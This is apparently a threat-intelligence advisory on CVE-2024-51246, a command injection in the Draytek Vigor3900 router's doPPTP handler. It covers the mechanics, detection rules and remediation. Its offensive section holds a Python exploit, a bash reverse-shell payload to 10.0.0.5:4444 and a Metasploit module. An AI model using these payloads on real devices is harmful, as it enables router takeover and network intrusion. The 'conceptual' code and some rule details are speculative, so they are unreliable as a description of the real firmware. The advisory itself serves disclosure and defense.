CVE-2024-51246

Executive Summary

CVE-2024-51246 is a critical command injection vulnerability in the Draytek Vigor3900 router firmware version 1.5.1.3. The flaw resides in the mainfunction.cgi CGI script, specifically within the doPPTP function. An unauthenticated attacker can inject arbitrary operating system commands by sending a specially crafted HTTP request to the vulnerable endpoint. Successful exploitation leads to full remote code execution (RCE) on the device, allowing the attacker to compromise the router, pivot to internal networks, and exfiltrate sensitive data. No official patch has been released at the time of this analysis, and public proof-of-concept (PoC) code is available.

Supply Chain & Package Security

This vulnerability is not related to any NPM, PyPI, Go, or Ruby package. It is a firmware-level issue in a network appliance.

CVSS Breakdown & Threat Level

While no official CVSS vector is provided, based on the nature of the vulnerability (unauthenticated remote command injection), the following is a reasonable assessment:

• Attack Vector (AV): Network (N)
• Attack Complexity (AC): Low (L)
• Privileges Required (PR): None (N)
• User Interaction (UI): None (N)
• Scope (S): Unchanged (U)
• Confidentiality (C): High (H)
• Integrity (I): High (H)
• Availability (A): High (H)

Estimated CVSS Score: 9.8 (Critical)

Threat Level: Critical. The vulnerability is trivial to exploit, requires no authentication, and provides full control over the affected device.

Deep Dive & Mechanics

The vulnerability is a classic OS command injection (CWE-78) in the doPPTP function of mainfunction.cgi. The CGI script likely takes user-supplied parameters (e.g., PPTP server IP, username, password) and passes them unsanitized to a system shell command (e.g., system(), popen(), or exec()). By injecting shell metacharacters such as ;, |, &, or backticks, an attacker can break out of the intended command and execute arbitrary payloads.

Root Cause: Lack of input validation and sanitization on parameters processed by the doPPTP function. The application does not escape or filter shell-special characters before constructing the command string.

Attack Flow:

1. Attacker identifies a vulnerable Draytek Vigor3900 router (e.g., via Shodan).
2. Attacker sends an HTTP POST request to /cgi-bin/mainfunction.cgi with a crafted action=doPPTP parameter and a malicious payload in one of the PPTP-related fields (e.g., pptp_server).
3. The CGI script constructs a command string like pptp <server> --username <user> --password <pass> and passes it to the shell.
4. The injected payload (e.g., ; id > /tmp/out) is executed by the shell.
5. Attacker gains remote code execution as the root user (typical for embedded devices).

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

void doPPTP() {
    char cmd[512];
    char *server = get_param("pptp_server");
    char *user = get_param("pptp_user");
    char *pass = get_param("pptp_pass");
    snprintf(cmd, sizeof(cmd), "pptp %s --user %s --password %s", server, user, pass);
    system(cmd);  // Vulnerable: no sanitization
}

Patched Code (Conceptual):

void doPPTP() {
    char cmd[512];
    char *server = sanitize_input(get_param("pptp_server"));
    char *user = sanitize_input(get_param("pptp_user"));
    char *pass = sanitize_input(get_param("pptp_pass"));
    // Use execve() instead of system() to avoid shell interpretation
    char *args[] = {"/usr/sbin/pptp", server, "--user", user, "--password", pass, NULL};
    execve(args[0], args, NULL);
}

The patched version would either sanitize input by escaping shell metacharacters or, preferably, avoid using a shell altogether by using execve() or similar functions that do not invoke a command interpreter.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A vulnerable Draytek Vigor3900 (firmware 1.5.1.3) or a virtualized instance.
• Network access to the router's web interface (typically port 80/443).

Exploit PoC (Python):

import requests

target = "http://<router_ip>/cgi-bin/mainfunction.cgi"
payload = "; id > /tmp/pwned;"

data = {
    "action": "doPPTP",
    "pptp_server": f"192.168.1.1{payload}",
    "pptp_user": "admin",
    "pptp_pass": "admin"
}

try:
    r = requests.post(target, data=data, timeout=5)
    print(f"Payload sent. Check /tmp/pwned on the device.")
except Exception as e:
    print(f"Error: {e}")

Reverse Shell Payload:

# In the pptp_server parameter:
; bash -c 'bash -i >& /dev/tcp/10.0.0.5/4444 0>&1' &

Metasploit Module (Conceptual):

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking
  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name' => 'Draytek Vigor3900 doPPTP Command Injection',
      'Description' => 'Exploits command injection in doPPTP function',
      'Author' => ['Security Researcher'],
      'References' => [['CVE', '2024-51246']],
      'DisclosureDate' => '2024-01-01',
      'Payload' => { 'BadChars' => "\x00" },
      'Targets' => [['Automatic', {}]],
      'DefaultTarget' => 0
    ))
  end

  def exploit
    send_request_cgi({
      'uri' => '/cgi-bin/mainfunction.cgi',
      'method' => 'POST',
      'vars_post' => {
        'action' => 'doPPTP',
        'pptp_server' => ";#{payload.encoded};"
      }
    })
  end
end

Blue Team (Defensive)

Detection Strategy:

• Monitor HTTP POST requests to /cgi-bin/mainfunction.cgi with action=doPPTP.
• Look for shell metacharacters (;, |, &, `, $()) in POST parameters.
• Alert on outbound connections from the router to unusual IPs/ports (reverse shell).
• Monitor for creation of unexpected files in /tmp/ on the router.

Honeypot Configuration:

• Deploy a low-interaction honeypot mimicking the Vigor3900 web interface.
• Log all POST requests to mainfunction.cgi for analysis.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP POST requests to /cgi-bin/mainfunction.cgi with action=doPPTP and suspicious parameters.
• Outbound connections from the router to external IPs on high ports (e.g., 4444, 1337).
• DNS queries to domains associated with C2 infrastructure.

Host IOCs (on the router):

• Unexpected files in /tmp/ (e.g., /tmp/pwned, /tmp/.revshell).
• Unusual processes running (e.g., bash, nc, python).
• Modified or new cron jobs.
• Changes to /etc/passwd or /etc/shadow.

File IOCs:

• Hashes of known exploit scripts (e.g., MD5 of PoC Python script).

Detection Engineering

YARA Rule

rule CVE_2024_51246_Exploit_Detection {
    meta:
        description = "Detects exploit attempts for CVE-2024-51246"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-51246"
    strings:
        $http_post = "POST /cgi-bin/mainfunction.cgi"
        $action_pptp = "action=doPPTP"
        $shell_meta1 = /[;|&`$]/
        $shell_meta2 = /\$\(/
        $shell_meta3 = /`[^`]+`/
    condition:
        $http_post and $action_pptp and (#shell_meta1 > 2 or $shell_meta2 or $shell_meta3)
}

Sigma Rule

title: Draytek Vigor3900 doPPTP Command Injection Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP POST requests to mainfunction.cgi with shell metacharacters in doPPTP parameters
author: Valters IT
date: 2024/01/01
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/cgi-bin/mainfunction.cgi'
        cs-uri-query|contains: 'action=doPPTP'
    keywords:
        - ';'
        - '|'
        - '&'
        - '`'
        - '$('
    condition: selection and keywords
falsepositives:
    - Legitimate use of special characters in PPTP configuration (unlikely)
level: critical

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-51246 Draytek Vigor3900 doPPTP Command Injection Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/cgi-bin/mainfunction.cgi"; http_uri;
    content:"action=doPPTP"; http_client_body;
    pcre:"/[;|&`$]/";
    sid:1000001;
    rev:1;
    reference:cve,2024-51246;
    classtype:attempted-admin;
    priority:1;
)

Remediation & Mitigation

Immediate Actions:

1. Isolate affected devices: Place the Vigor3900 behind a firewall and restrict access to the web interface to trusted IPs only.
2. Disable remote management: If not required, disable WAN-side access to the router's management interface.
3. Monitor logs: Enable detailed logging on the router and centralize logs for analysis.

Long-term Fix:

• Vendor Patch: Await an official firmware update from Draytek. As of now, no patch is available.
• Workaround: If possible, block HTTP POST requests to /cgi-bin/mainfunction.cgi at the network perimeter using a WAF or IPS.
• Replace device: Consider replacing the Vigor3900 with a supported alternative if a patch is not released in a timely manner.

Compensating Controls:

• Deploy a Web Application Firewall (WAF) with rules to block shell metacharacters in POST parameters.
• Use network segmentation to limit the router's access to critical internal systems.
• Implement strict egress filtering to prevent reverse shell callbacks.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert